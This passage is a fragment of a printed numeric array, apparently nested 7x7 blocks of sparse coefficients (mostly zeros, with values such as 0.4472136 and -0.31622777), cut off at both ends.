[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.4472136 , 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0.36514837, 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0.4472136 , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0.36514837, 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.25819889, 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , -0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.36514837, 0. ],
[ 0. , 0. , 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.18257419, 0. , 0. , 0. , 0. ],
[ 0. , 0.36514837, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.25819889, 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , -0.25819889, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.37796447],
[ 0. , 0. , 0. , 0. , 0. , -0.3086067 , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , 0.09759001, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.27602622, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , 0.27602622, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.09759001, 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , -0.3086067 , 0. , 0. , 0. , 0. , 0. ],
[ 0.37796447, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.09759001, 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , -0.3086067 , 0. , 0. , 0. , 0. ],
[ 0. , 0.37796447, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.27602622, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , 0.27602622, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0.37796447, 0. ],
[ 0. , 0. , 0. , 0. , -0.3086067 , 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , 0.09759001, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.18898224],
[ 0. , 0. , 0. , 0. , 0. , -0.24397502, 0. ],
[ 0. , 0. , 0. , 0. , 0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , -0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , 0.24397502, 0. , 0. , 0. , 0. ],
[ 0. , -0.18898224, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , -0.32732684],
[ 0. , 0. , 0. , 0. , 0. , 0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , -0.10910895, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.10910895, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
